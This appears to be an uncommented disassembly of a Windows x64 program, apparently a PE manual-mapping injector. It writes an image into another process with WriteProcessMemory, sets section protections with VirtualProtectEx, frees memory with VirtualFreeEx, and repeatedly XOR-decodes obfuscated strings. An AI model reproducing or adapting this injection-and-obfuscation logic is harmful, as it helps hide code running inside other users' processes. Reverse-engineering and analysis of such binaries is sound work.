movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140237440
cmp r9d, 0x17
jge 0x140237660
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x17
jl 0x140237610
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
mov edx, dword [rdi + 0xc]
mov rcx, r13
add rdx, qword [rbp - 0x50]
mov r9d, dword [rdi + 8]
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140237970
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140271efd], bl
mov r11d, eax
movups xmm0, xmmword [0x140271ee0]
mov ecx, dword [0x140271ef8]
mov dword [rbp - 0x80], ecx
movzx ecx, word [0x140271efc]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], cx
movsd xmm0, qword [str._n_n_tIN]
movsd qword [rsp + 0x78], xmm0
je 0x140237960
mov r9d, ebx
cmp esi, 2
jl 0x140237901
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x18
jl 0x140237740
cmp r9d, 0x1e
jge 0x140237960
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x1e
jl 0x140237910
mov r8d, r11d
lea rcx, [rsp + 0x68]
mov rdx, rdi
call fcn.1401ba4b0
movzx r10d, word [0x140271dfc]
movzx esi, byte [0x140271dfe]
mov r11d, dword [str.m74__M]
movzx r9d, word [0x140271e70]
mov ecx, dword [rbp + 0x50]
mov rax, qword [rbp - 0x38]
inc ecx
add rdi, 0x28
mov dword [rbp + 0x50], ecx
movzx eax, word [rax + 6]
cmp ecx, eax
jne 0x1402372f0
movzx ecx, ax
mov rdi, qword [rbp - 0x38]
mov dword [rbp + 0x50], ebx
movzx eax, word [rdi + 0x14]
add rdi, 0x18
add rdi, rax
test cx, cx
je 0x140237fb1
mov edx, 0x20
nop dword [rax]
mov ecx, dword [rdi + 8]
test ecx, ecx
je 0x140237f95
mov eax, dword [rdi + 0x24]
mov dword [rbp + 0x58], ebx
test eax, 0x80000000
jbe 0x1402379ef
mov esi, 4
jmp 0x1402379fc
test eax, 0x20000000
mov esi, 2
cmova esi, edx
mov edx, dword [rdi + 0xc]
lea rax, [rbp + 0x58]
add rdx, qword [rbp - 0x50]
mov r8, rcx
mov r9d, esi
mov qword [rsp + 0x20], rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r9d, ebx
test eax, eax
je 0x140237cda
cmp dword [0x140284008], 2
mov eax, dword [0x140271ce8]
movups xmm0, xmmword [str.0_____qvw__]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140271cec]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x140271cee]
mov byte [rsp + 0x7e], al
movups xmmword [rsp + 0x68], xmm0
jl 0x140237c72
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140237ab1
cmp r9d, 0x17
jge 0x140237cd0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x17
jl 0x140237c80
lea rcx, [rsp + 0x68]
jmp 0x140237f85
cmp dword [0x140284008], 2
movups xmm0, xmmword [0x140271fc0]
movzx eax, byte [0x140271fe0]
movups xmm1, xmmword [0x140271fd0]
mov byte [rbp - 0x78], al
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
jl 0x140237f21
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x20
jl 0x140237d60
cmp r9d, 0x21
jge 0x140237f80
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x21
jl 0x140237f30
lea rcx, [rsp + 0x68]
mov r8d, esi
mov rdx, rdi
call fcn.1401ba4b0
mov edx, 0x20
mov ecx, dword [rbp + 0x50]
add rdi, 0x28
mov rax, qword [rbp - 0x38]
inc ecx
mov dword [rbp + 0x50], ecx
movzx eax, word [rax + 6]
cmp ecx, eax
jne 0x1402379d0
mov rcx, qword [rbp - 0x38]
mov r9d, 2
mov rdx, qword [rbp - 0x50]
mov dword [rbp + 0x5c], ebx
movzx eax, word [rcx + 0x14]
mov r8d, dword [rax + rcx + 0x24]
lea rax, [rbp + 0x5c]
mov rcx, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdi, qword [rbp - 0x40]
mov r9d, 0x1000
mov r8, qword [rsp + 0x50]
mov rdx, rdi
mov rcx, r13
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402382ba
movups xmm1, xmmword [0x140271fb0]
movups xmm0, xmmword [0x140271fa0]
movups xmmword [rsp + 0x78], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x68], xmm0
test al, al
je 0x1402382b0
cmp dword [0x140284008], 2
jl 0x14023824b
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
mov edx, ebx
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, edx
lea eax, [rdx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, r8d
add edx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x140238090
jmp 0x1402382b0
lea r10, [rsp + 0x68]
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x20
jl 0x140238260
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edi, dword [0x140284008]
test eax, eax
jne 0x14023859a
movzx eax, word [0x140271f60]
mov r9d, ebx
mov word [rbp - 0x70], ax
movups xmm0, xmmword [0x140271f38]
movups xmm1, xmmword [0x140271f48]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140271f58]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp edi, 2
jl 0x140238531
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x28
jl 0x140238370
cmp r9d, 0x2a
jge 0x140238590
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x2a
jl 0x140238540
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
mov rdx, qword [rbp - 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x140238864
mov eax, dword [0x140271e28]
mov dword [rbp - 0x70], eax
movups xmm0, xmmword [0x140271e00]
movups xmm1, xmmword [0x140271e10]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140271e20]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp edi, 2
jl 0x1402387fe
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
